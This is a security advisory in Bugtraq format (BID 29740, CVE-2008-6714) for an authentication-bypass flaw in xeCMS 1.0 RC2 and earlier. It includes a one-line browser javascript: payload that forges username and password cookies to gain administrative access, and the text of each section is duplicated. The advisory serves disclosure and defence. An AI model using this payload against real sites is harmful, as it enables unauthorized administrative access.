xeCMS Cookie Parameters Authentication Bypass Vulnerability
BID:29740
Info
xeCMS Cookie Parameters Authentication Bypass Vulnerability
| Bugtraq ID: | 29740 |
| Class: | Access Validation Error |
| CVE: |
CVE-2008-6714 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 14 2008 12:00AM |
| Updated: | May 07 2015 05:28PM |
| Credit: | t0pP8uZz |
| Vulnerable: |
xeCMS xeCMS 1.0 rc2 xeCMS xeCMS 1.0 RC1 |
| Not Vulnerable: | |
Discussion
xeCMS Cookie Parameters Authentication Bypass Vulnerability
xeCMS is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.
An attacker can exploit this vulnerability to gain administrative access to the affected application; other attacks are also possible.
xeCMS 1.0.0 RC2 and prior versions are affected.
xeCMS is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.
An attacker can exploit this vulnerability to gain administrative access to the affected application; other attacks are also possible.
xeCMS 1.0.0 RC2 and prior versions are affected.
Exploit / POC
xeCMS Cookie Parameters Authentication Bypass Vulnerability
Attackers may exploit this issue through a browser.
The following example code is available:
javascript:document.cookie = "xecms_username=1; path=/"; document.cookie = "xecms_password=1; path=/";
Attackers may exploit this issue through a browser.
The following example code is available:
javascript:document.cookie = "xecms_username=1; path=/"; document.cookie = "xecms_password=1; path=/";
Solution / Fix
xeCMS Cookie Parameters Authentication Bypass Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].